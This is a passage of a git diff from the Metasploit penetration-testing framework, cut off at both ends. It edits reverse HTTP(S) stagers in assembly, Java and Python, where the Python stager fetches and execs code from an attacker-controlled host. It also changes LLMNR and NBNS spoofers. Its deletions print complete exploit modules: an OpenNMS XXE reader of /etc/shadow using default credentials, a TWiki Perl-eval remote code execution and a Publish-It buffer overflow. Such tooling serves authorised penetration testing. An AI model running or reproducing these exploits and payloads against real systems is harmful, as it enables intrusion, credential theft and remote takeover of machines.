ebp - test eax, eax ; - jz failure ; Bail out if we couldn't get the certificate context - - ssl_cert_start_verify: - call ssl_cert_compare_hashes - db #{encoded_cert_hash} - - ssl_cert_compare_hashes: - pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert) - ; edi points to the server-provided certificate hash - - push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times - pop ecx ; - mov edx, ecx ; Keep a reference to 4 in edx - - ssl_cert_verify_compare_loop: - mov eax, [ebx] ; Grab the next DWORD of the hash - cmp eax, [edi] ; Compare with the server hash - jnz failure ; Bail out if the DWORD doesn't match - add ebx, edx ; Increment internal hash pointer by 4 - add edi, edx ; Increment server hash pointer by 4 - loop ssl_cert_verify_compare_loop - - ; Our certificate hash was valid, hurray! - ssl_cert_verify_cleanup: - xor ebx, ebx ; Reset ebx back to zero - ^ - end - asm << %Q^ receive_response: ; The API WinHttpReceiveResponse needs to be called - ; first to get a valid handle for WinHttpReadData - push ebx ; Reserved (NULL) - push esi ; Request handler returned by WinHttpSendRequest + ; first to get a valid handler for WinHttpReadData + push ebx ; Reserved (NULL) [2] + push esi ; Request handler returned by WinHttpSendRequest [1] push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" ) call ebp test eax,eax @@ -340,7 +251,7 @@ module Payload::Windows::ReverseWinHttp asm << %Q^ allocate_memory: - push 0x40 ; PAGE_EXECUTE_READWRITE + push.i8 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (4Mb ought to do us) push ebx ; NULL as we dont care where the allocation is @@ -388,8 +299,6 @@ module Payload::Windows::ReverseWinHttp asm end - - end end diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index 993347db35..4a219c8b4e 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -2,7 +2,6 @@ require 'msf/core' require 'msf/core/payload/windows/reverse_winhttp' -require 'rex/parser/x509_certificate' module Msf @@ -18,17 +17,6 @@ module Payload::Windows::ReverseWinHttps include Msf::Payload::Windows::ReverseWinHttp - # - # Register reverse_winhttps specific options - # - def initialize(*args) - super - register_advanced_options( - [ - OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false]) - ], self.class) - end - # # Generate and compile the stager # @@ -49,38 +37,13 @@ module Payload::Windows::ReverseWinHttps # def generate - verify_cert = false - verify_cert_hash = nil - - if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i - unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" - else - verify_cert = true - hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) - unless hcert and hcert[0] and hcert[1] - raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" - end - verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der) - print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}") - end - end - # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space - - if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i - raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available" - end - return generate_reverse_winhttps( ssl: true, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, - verify_cert: verify_cert, - verify_cert_hash: verify_cert_hash, - retry_count: datastore['StagerRetryCount']) + url: generate_small_uri) end conf = { @@ -88,32 +51,12 @@ module Payload::Windows::ReverseWinHttps host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'], - verify_cert: verify_cert, - verify_cert_hash: verify_cert_hash, - retry_count: datastore['StagerRetryCount'] + exitfunk: datastore['EXITFUNC'] } generate_reverse_winhttps(conf) end - # - # Determine the maximum amount of space required for the features requested - # - def required_space - space = super - - # SSL support adds 20 bytes - space += 20 - - # SSL verification adds 120 bytes - if datastore['StagerVerifySSLCert'] - space += 120 - end - - space - end - end end diff --git a/lib/rex/parser/x509_certificate.rb b/lib/rex/parser/x509_certificate.rb deleted file mode 100644 index f46500bf5c..0000000000 --- a/lib/rex/parser/x509_certificate.rb +++ /dev/null @@ -1,62 +0,0 @@ -# -*- coding: binary -*- - -require 'openssl' - -module Rex -module Parser - -### -# -# This class parses the contents of a PEM-encoded X509 certificate file containing -# a private key, a public key, and any appended glue certificates. -# -### -class X509Certificate - - # - # Parse a certificate in unified PEM format that contains a private key and - # one or more certificates. The first certificate is the primary, while any - # additional certificates are treated as intermediary certificates. This emulates - # the behavior of web servers like nginx. - # - # @param [String] ssl_cert - # @return [String, String, Array] - def self.parse_pem(ssl_cert) - cert = nil - key = nil - chain = nil - - certs = [] - ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| - if pem =~ /PRIVATE KEY/ - key = OpenSSL::PKey::RSA.new(pem) - elsif pem =~ /CERTIFICATE/ - certs << OpenSSL::X509::Certificate.new(pem) - end - end - - cert = certs.shift - if certs.length > 0 - chain = certs - end - - [key, cert, chain] - end - - # - # Parse a certificate in unified PEM format from a file - # - # @param [String] ssl_cert_file - # @return [String, String, Array] - def self.parse_pem_file(ssl_cert_file) - data = '' - ::File.open(ssl_cert_file, 'rb') do |fd| - data << fd.read(fd.stat.size) - end - parse_pem(data) - end - -end - -end -end diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 93c54873bf..98354ba45f 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -118,13 +118,13 @@ module Rex patch_comm_timeout! blob, options[:comm_timeout] patch_ua! blob, options[:ua] patch_proxy!(blob, - options[:proxy_host], - options[:proxy_port], + options[:proxyhost], + options[:proxyport], options[:proxy_type] ) patch_proxy_auth!(blob, - options[:proxy_user], - options[:proxy_pass], + options[:proxy_username], + options[:proxy_password], options[:proxy_type] ) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index eb35c6ea96..ab67096026 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -411,11 +411,11 @@ class ClientCore < Extension :expiration => self.client.expiration, :comm_timeout => self.client.comm_timeout, :ua => client.exploit_datastore['MeterpreterUserAgent'], - :proxy_host => client.exploit_datastore['PayloadProxyHost'], - :proxy_port => client.exploit_datastore['PayloadProxyPort'], - :proxy_type => client.exploit_datastore['PayloadProxyType'], - :proxy_user => client.exploit_datastore['PayloadProxyUser'], - :proxy_pass => client.exploit_datastore['PayloadProxyPass'] + :proxyhost => client.exploit_datastore['PROXYHOST'], + :proxyport => client.exploit_datastore['PROXYPORT'], + :proxy_type => client.exploit_datastore['PROXY_TYPE'], + :proxy_username => client.exploit_datastore['PROXY_USERNAME'], + :proxy_password => client.exploit_datastore['PROXY_PASSWORD'] end diff --git a/lib/rex/socket/ssl_tcp_server.rb b/lib/rex/socket/ssl_tcp_server.rb index 742685d596..27ee44696f 100644 --- a/lib/rex/socket/ssl_tcp_server.rb +++ b/lib/rex/socket/ssl_tcp_server.rb @@ -2,7 +2,6 @@ require 'rex/socket' require 'rex/socket/tcp_server' require 'rex/io/stream_server' -require 'rex/parser/x509_certificate' ### # @@ -109,7 +108,25 @@ module Rex::Socket::SslTcpServer # @param [String] ssl_cert # @return [String, String, Array] def self.ssl_parse_pem(ssl_cert) - Rex::Parser::X509Certificate.parse_pem(ssl_cert) + cert = nil + key = nil + chain = nil + + certs = [] + ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| + if pem =~ /PRIVATE KEY/ + key = OpenSSL::PKey::RSA.new(pem) + elsif pem =~ /CERTIFICATE/ + certs << OpenSSL::X509::Certificate.new(pem) + end + end + + cert = certs.shift + if certs.length > 0 + chain = certs + end + + [key, cert, chain] end # diff --git a/modules/auxiliary/gather/opennms_xxe.rb b/modules/auxiliary/gather/opennms_xxe.rb deleted file mode 100644 index 4f60c931a3..0000000000 --- a/modules/auxiliary/gather/opennms_xxe.rb +++ /dev/null @@ -1,104 +0,0 @@ -require 'msf/core' -require 'openssl' - -class Metasploit4 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'OpenNMS Authenticated XXE', - 'Description' => %q{ - OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface. - Although this attack requires authentication, there are several factors that increase the - severity of this vulnerability. - - 1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the - core of OpenNMS is that these components need to run as root to be able to bind to low-numbered - ports or generate network traffic that requires root" - - 2. The user that you must authenticate as is the "rtc" user which has the default password of - "rtc". There is no mention of this user in the installation guides found here: - http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default - admin password of "admin" for security purposes. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Stephen Breen ', # discovery - 'Justin Kennedy ', # metasploit module - ], - 'References' => [ - ['CVE', '2015-0975'] - ], - 'DisclosureDate' => 'Jan 08 2015' - )) - - register_options( - [ - Opt::RPORT(8980), - OptBool.new('SSL', [false, 'Use SSL', false]), - OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']), - OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]), - OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]), - OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"]) - ], self.class) - - end - - def run - - print_status("Logging in to grab a valid session cookie") - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), - 'vars_post' => { - 'j_username' => datastore['USERNAME'], - 'j_password' => datastore['PASSWORD'], - 'Login'=> 'Login' - }, - }) - - if res.nil? - fail_with(Failure::Unreachable, "No response from POST request") - elsif res.code != 302 - fail_with(Failure::UnexpectedReply, "Non-302 response from POST request") - end - - unless res.headers["Location"].include? "index.jsp" - fail_with(Failure::NoAccess, 'Authentication failed') - end - - cookie = res.get_cookies - - print_status("Got cookie, going for the goods") - - rand_doctype = Rex::Text.rand_text_alpha(rand(1..10)) - rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10)) - rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10)) - delimiter = SecureRandom.uuid - - xxe = %Q^ - - - ]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}^ - - res = send_request_raw({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'), - 'data' => xxe, - 'cookie' => cookie - }) - - # extract filepath data from response - if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m - result = $1 - print_good("#{result}") - else - fail_with(Failure::Unknown, 'Error fetching file, try another') - end - - end -end - diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index 54ab2e215a..0cc60e78a5 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -103,6 +103,7 @@ class Metasploit3 < Msf::Auxiliary if datastore['LISTENER'] @listener.kill if @listener + GC.start() end if capture and @spoofing and not datastore['BROADCAST'] diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index c1cef329e9..4a7123fd56 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -139,7 +139,9 @@ attr_accessor :sock, :thread end ip_pkt.recalc - capture_sendto(ip_pkt, rhost.to_s, true) + open_pcap + capture_sendto(ip_pkt, rhost.to_s, true) + close_pcap end def monitor_socket @@ -174,10 +176,7 @@ attr_accessor :sock, :thread def run check_pcaprub_loaded() - ::Socket.do_not_reverse_lookup = true # Mac OS X workaround - - # Avoid receiving extraneous traffic on our send socket - open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) + ::Socket.do_not_reverse_lookup = true # Multicast Address for LLMNR multicast_addr = ::IPAddr.new("224.0.0.252") @@ -192,28 +191,24 @@ attr_accessor :sock, :thread self.sock = Rex::Socket.create_udp( # This must be INADDR_ANY to receive multicast packets 'LocalHost' => "0.0.0.0", - 'LocalPort' => 5355, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } - ) + 'LocalPort' => 5355) self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) { - monitor_socket + monitor_socket } print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...") add_socket(self.sock) - self.thread.join + while thread.alive? + select(nil, nil, nil, 0.25) + end + + self.thread.kill + self.sock.close rescue nil end - def cleanup - if self.thread and self.thread.alive? - self.thread.kill - self.thread = nil - end - close_pcap - end end diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 84a2f1afe6..0916ac71dd 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -9,9 +9,6 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Capture - attr_accessor :sock, :thread - - def initialize super( 'Name' => 'NetBIOS Name Service Spoofer', @@ -47,142 +44,108 @@ class Metasploit3 < Msf::Auxiliary ]) register_advanced_options([ - OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false]) + OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false]) ]) deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') - self.thread = nil - self.sock = nil - end - - def dispatch_request(packet, rhost, src_port) - rhost = ::IPAddr.new(rhost) - # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped - # addr like "::ffff:192.168.0.1" when the interface we're listening - # on has an IPv6 address. Convert it to just the v4 addr - if rhost.ipv4_mapped? - rhost = rhost.native - end - - # Convert to string - rhost = rhost.to_s - - spoof = ::IPAddr.new(datastore['SPOOFIP']) - - return if packet.length == 0 - - nbnsq_transid = packet[0..1] - nbnsq_flags = packet[2..3] - nbnsq_questions = packet[4..5] - nbnsq_answerrr = packet[6..7] - nbnsq_authorityrr = packet[8..9] - nbnsq_additionalrr = packet[10..11] - nbnsq_name = packet[12..45] - decoded = "" - nbnsq_name.slice(1..-2).each_byte do |c| - decoded << "#{(c - 65).to_s(16)}" - end - nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() - nbnsq_type = packet[46..47] - nbnsq_class = packet[48..49] - - return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i - - vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}") - - if datastore['DEBUG'] - print_status("transid: #{nbnsq_transid.unpack('H4')}") - print_status("tlags: #{nbnsq_flags.unpack('B16')}") - print_status("questions: #{nbnsq_questions.unpack('n')}") - print_status("answerrr: #{nbnsq_answerrr.unpack('n')}") - print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") - print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") - print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") - print_status("full name: #{nbnsq_name.slice(1..-2)}") - print_status("decoded: #{decoded}") - print_status("decoded name: #{nbnsq_decodedname}") - print_status("type: #{nbnsq_type.unpack('n')}") - print_status("class: #{nbnsq_class.unpack('n')}") - end - - # time to build a response packet - Oh YEAH! - response = nbnsq_transid + - "\x85\x00" + # Flags = response + authoratative + recursion desired + - "\x00\x00" + # Questions = 0 - "\x00\x01" + # Answer RRs = 1 - "\x00\x00" + # Authority RRs = 0 - "\x00\x00" + # Additional RRs = 0 - nbnsq_name + # original query name - nbnsq_type + # Type = NB ...whatever that means - nbnsq_class+ # Class = IN - "\x00\x04\x93\xe0" + # TTL = a long ass time - "\x00\x06" + # Datalength = 6 - "\x00\x00" + # Flags B-node, unique = whatever that means - spoof.hton - - pkt = PacketFu::UDPPacket.new - pkt.ip_saddr = Rex::Socket.source_address(rhost) - pkt.ip_daddr = rhost - pkt.ip_ttl = 255 - pkt.udp_sport = 137 - pkt.udp_dport = src_port - pkt.payload = response - pkt.recalc - - capture_sendto(pkt, rhost) - end - - def monitor_socket - while true - rds = [self.sock] - wds = [] - eds = [self.sock] - - r,_,_ = ::IO.select(rds,wds,eds,0.25) - if (r != nil and r[0] == self.sock) - packet, host, port = self.sock.recvfrom(65535) - dispatch_request(packet, host, port) - end - end end def run - check_pcaprub_loaded() - ::Socket.do_not_reverse_lookup = true # Mac OS X workaround + check_pcaprub_loaded() # Check first since otherwise this is all for naught + # MacOS X workaround + ::Socket.do_not_reverse_lookup = true - # Avoid receiving extraneous traffic on our send socket - open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) + @sock = ::UDPSocket.new() + @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + @sock.bind('', 137) # couldn't specify srv host because it missed broadcasts - self.sock = Rex::Socket.create_udp( - 'LocalHost' => "0.0.0.0", - 'LocalPort' => 137, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } - ) - add_socket(self.sock) - self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + @run = true - self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) { - begin - monitor_socket - rescue ::Interrupt - raise $! - rescue ::Exception - print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") + print_status("NBNS Spoofer started. Listening for NBNS requests...") + + begin + + while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. + packet, addr = @sock.recvfrom(512) + src_port = addr[1] + rhost = addr[3] + + break if packet.length == 0 + + nbnsq_transid = packet[0..1] + nbnsq_flags = packet[2..3] + nbnsq_questions = packet[4..5] + nbnsq_answerrr = packet[6..7] + nbnsq_authorityrr = packet[8..9] + nbnsq_additionalrr = packet[10..11] + nbnsq_name = packet[12..45] + decoded = "" + nbnsq_name.slice(1..-2).each_byte do |c| + decoded << "#{(c - 65).to_s(16)}" end - } + nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() + nbnsq_type = packet[46..47] + nbnsq_class = packet[48..49] - print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...") + if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i) - self.thread.join - print_status("NBNS Monitor thread exited...") - end + vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}") - def cleanup - if self.thread and self.thread.alive? - self.thread.kill - self.thread = nil + if datastore['DEBUG'] + print_status("transid: #{nbnsq_transid.unpack('H4')}") + print_status("tlags: #{nbnsq_flags.unpack('B16')}") + print_status("questions: #{nbnsq_questions.unpack('n')}") + print_status("answerrr: #{nbnsq_answerrr.unpack('n')}") + print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") + print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") + print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") + print_status("full name: #{nbnsq_name.slice(1..-2)}") + print_status("decoded: #{decoded}") + print_status("decoded name: #{nbnsq_decodedname}") + print_status("type: #{nbnsq_type.unpack('n')}") + print_status("class: #{nbnsq_class.unpack('n')}") + end + + # time to build a response packet - Oh YEAH! + response = nbnsq_transid + + "\x85\x00" + # Flags = response + authoratative + recursion desired + + "\x00\x00" + # Questions = 0 + "\x00\x01" + # Answer RRs = 1 + "\x00\x00" + # Authority RRs = 0 + "\x00\x00" + # Additional RRs = 0 + nbnsq_name + # original query name + nbnsq_type + # Type = NB ...whatever that means + nbnsq_class+ # Class = IN + "\x00\x04\x93\xe0" + # TTL = a long ass time + "\x00\x06" + # Datalength = 6 + "\x00\x00" + # Flags B-node, unique = whet ever that means + datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*') + + open_pcap + + p = PacketFu::UDPPacket.new + p.ip_saddr = Rex::Socket.source_address(rhost) + p.ip_daddr = rhost + p.ip_ttl = 255 + p.udp_sport = 137 + p.udp_dport = src_port + p.payload = response + p.recalc + + capture_sendto(p, rhost) + + close_pcap + + else + vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex") + end end - close_pcap - end + rescue ::Exception => e + print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}") + # Make sure the socket gets closed on exit + ensure + @sock.close + end + end end diff --git a/modules/exploits/unix/http/twiki_debug_plugins.rb b/modules/exploits/unix/http/twiki_debug_plugins.rb deleted file mode 100644 index 2c937e58c9..0000000000 --- a/modules/exploits/unix/http/twiki_debug_plugins.rb +++ /dev/null @@ -1,101 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'TWiki Debugenableplugins Remote Code Execution', - 'Description' => %q{ - TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality. - The value of the debugenableplugins parameter is used without proper sanitization - in an Perl eval statement which allows remote code execution - }, - 'Author' => - [ - 'Netanel Rubin', # from Check Point - Discovery - 'h0ng10', # Metasploit Module - - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2014-7236'], - [ 'OSVDB', '112977'], - [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236'] - ], - 'Privileged' => false, - 'Targets' => - [ - [ 'Automatic', - { - 'Payload' => - { - 'BadChars' => "", - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl python php', - } - }, - 'Platform' => ['unix'], - 'Arch' => ARCH_CMD - } - ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Oct 09 2014')) - - register_options( - [ - OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]), - OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin']) - ], self.class) - end - - - def send_code(perl_code) - uri = target_uri.path - data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit" - - res = send_request_cgi!({ - 'method' => 'POST', - 'uri' => uri, - 'data' => data - }) - - return res - end - - - def check - rand_1 = rand_text_alpha(5) - rand_2 = rand_text_alpha(5) - - code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")" - res = send_code(code) - - if res and res.code == 200 - return CheckCode::Vulnerable if res.body == rand_1 + rand_2 - end - CheckCode::Unknown - end - - - def exploit - code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");" - code += "require('MIME/Base64.pm');MIME::Base64->import();" - code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit" - res = send_code(code) - handler - - end - -end diff --git a/modules/exploits/windows/fileformat/publishit_pui.rb b/modules/exploits/windows/fileformat/publishit_pui.rb deleted file mode 100644 index b8b825db62..0000000000 --- a/modules/exploits/windows/fileformat/publishit_pui.rb +++ /dev/null @@ -1,82 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::FILEFORMAT - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Publish-It PUI Buffer Overflow (SEH)', - 'Description' => %q{ - This module exploits a stack based buffer overflow in Publish-It when - processing a specially crafted .PUI file. This vulnerability could be - exploited by a remote attacker to execute arbitrary code on the target - machine by enticing a user of Publish-It to open a malicious .PUI file. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Daniel Kazimirow', # Original discovery - 'Andrew Smith "jakx_"', # Exploit and MSF Module - ], - 'References' => - [ - [ 'OSVDB', '102911' ], - [ 'CVE', '2014-0980' ], - [ 'EDB', '31461' ] - ], - 'DefaultOptions' => - { - 'ExitFunction' => 'process', - }, - 'Platform' => 'win', - 'Payload' => - { - 'BadChars' => "\x00\x0b\x0a", - 'DisableNops' => true, - 'Space' => 377 - }, - 'Targets' => - [ - [ 'Publish-It 3.6d', - { - 'Ret' => 0x0046e95a, #p/p/r | Publish.EXE - 'Offset' => 1082 - } - ], - ], - 'Privileged' => false, - 'DisclosureDate' => 'Feb 5 2014', - 'DefaultTarget' => 0)) - - register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class) - - end - - def exploit - - path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui") - fd = File.open(path, "rb") - template_data = fd.read(fd.stat.size) - fd.close - - buffer = template_data - buffer << make_nops(700) - buffer << payload.encoded - buffer << make_nops(target['Offset']-payload.encoded.length-700-5) - buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399 - buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump - buffer << make_nops(2) - buffer << [target.ret].pack("V") - - print_status("Creating '#{datastore['FILENAME']}' file ...") - file_create(buffer) - - end -end diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index f14e1e8e17..8208430ccb 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http' module Metasploit3 - CachedSize = 5499 + CachedSize = 5500 include Msf::Payload::Stager include Msf::Payload::Java @@ -40,22 +40,12 @@ module Metasploit3 end def config - # Default URL length is 30-256 bytes - uri_req_len = 30 + rand(256-30) - - # Generate the short default URL if we don't know available space - if self.available_space.nil? - uri_req_len = 5 - end - spawn = datastore["Spawn"] || 2 c = "" c << "Spawn=#{spawn}\n" c << "URL=http://#{datastore["LHOST"]}" c << ":#{datastore["LPORT"]}" if datastore["LPORT"] - c << "/" - c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len) - c << "\n" + c << "/INITJM\n" c end diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index a7e2eb3301..b8a621bec6 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https' module Metasploit3 - CachedSize = 6307 + CachedSize = 6308 include Msf::Payload::Stager include Msf::Payload::Java @@ -42,22 +42,12 @@ module Metasploit3 end def config - # Default URL length is 30-256 bytes - uri_req_len = 30 + rand(256-30) - - # Generate the short default URL if we don't know available space - if self.available_space.nil? - uri_req_len = 5 - end - spawn = datastore["Spawn"] || 2 c = "" c << "Spawn=#{spawn}\n" c << "URL=https://#{datastore["LHOST"]}" c << ":#{datastore["LPORT"]}" if datastore["LPORT"] - c << "/" - c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len) - c << "\n" + c << "/INITJM\n" c end diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index b1bc0b9275..0c7af67036 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http' module Metasploit3 - CachedSize = 446 + CachedSize = 442 include Msf::Payload::Stager @@ -26,9 +26,9 @@ module Metasploit3 register_options( [ - OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), - OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) - ], self.class) + OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]), + OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]) + ], Msf::Handler::ReverseHttp) end # @@ -41,32 +41,21 @@ module Metasploit3 txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) } - if Rex::Socket.is_ipv6?(lhost) - target_url = "http://[#{lhost}]" - else - target_url = "http://#{lhost}" - end - + target_url = 'http://' + target_url << lhost target_url << ':' target_url << datastore['LPORT'].to_s target_url << '/' - target_url << generate_callback_uri - - proxy_host = datastore['PayloadProxyHost'].to_s - proxy_port = datastore['PayloadProxyPort'].to_i + target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP) cmd = "import sys\n" - if proxy_host == '' + if datastore['PROXYHOST'].blank? cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n" else - proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? - "http://[#{proxy_host}]:#{proxy_port}" : - "http://#{proxy_host}:#{proxy_port}" - + proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n" end - cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" cmd << "exec(o.open('#{target_url}').read())\n" @@ -77,36 